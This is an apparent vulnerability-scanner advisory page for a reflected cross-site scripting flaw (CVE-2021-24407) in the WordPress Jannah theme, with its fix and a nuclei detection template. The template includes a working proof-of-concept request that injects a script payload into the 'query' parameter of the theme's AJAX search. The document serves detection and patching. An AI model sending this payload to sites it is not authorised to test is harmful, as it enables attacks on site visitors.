WordPress Jannah Theme <5.4.5 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.6%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

WordPress Jannah theme before 5.4.5 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the 'query' POST parameter in its tie_ajax_search AJAX action.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Update the Jannah Theme to version 5.4.5 or later, which includes proper input sanitization to mitigate the XSS vulnerability.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/themes/jannah/assets/" or "attachment-jannah-image-"
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24407 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24407

info:
  name: WordPress Jannah Theme <5.4.5 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: WordPress Jannah theme before 5.4.5 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the 'query' POST parameter in its tie_ajax_search AJAX action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update the Jannah Theme to version 5.4.5 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/fba9f010-1202-4eea-a6f5-78865c084153
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24407
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24407
    cwe-id: CWE-79
    epss-score: 0.02591
    epss-percentile: 0.85431
    cpe: cpe:2.3:a:tielabs:jannah:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: tielabs
    product: jannah
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-theme,wpscan,tielabs,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/themes/jannah/assets/'
          - 'attachment-jannah-image-'
        condition: or

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}

        action=tie_ajax_search&query[]=</script><script>alert(document.domain)</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from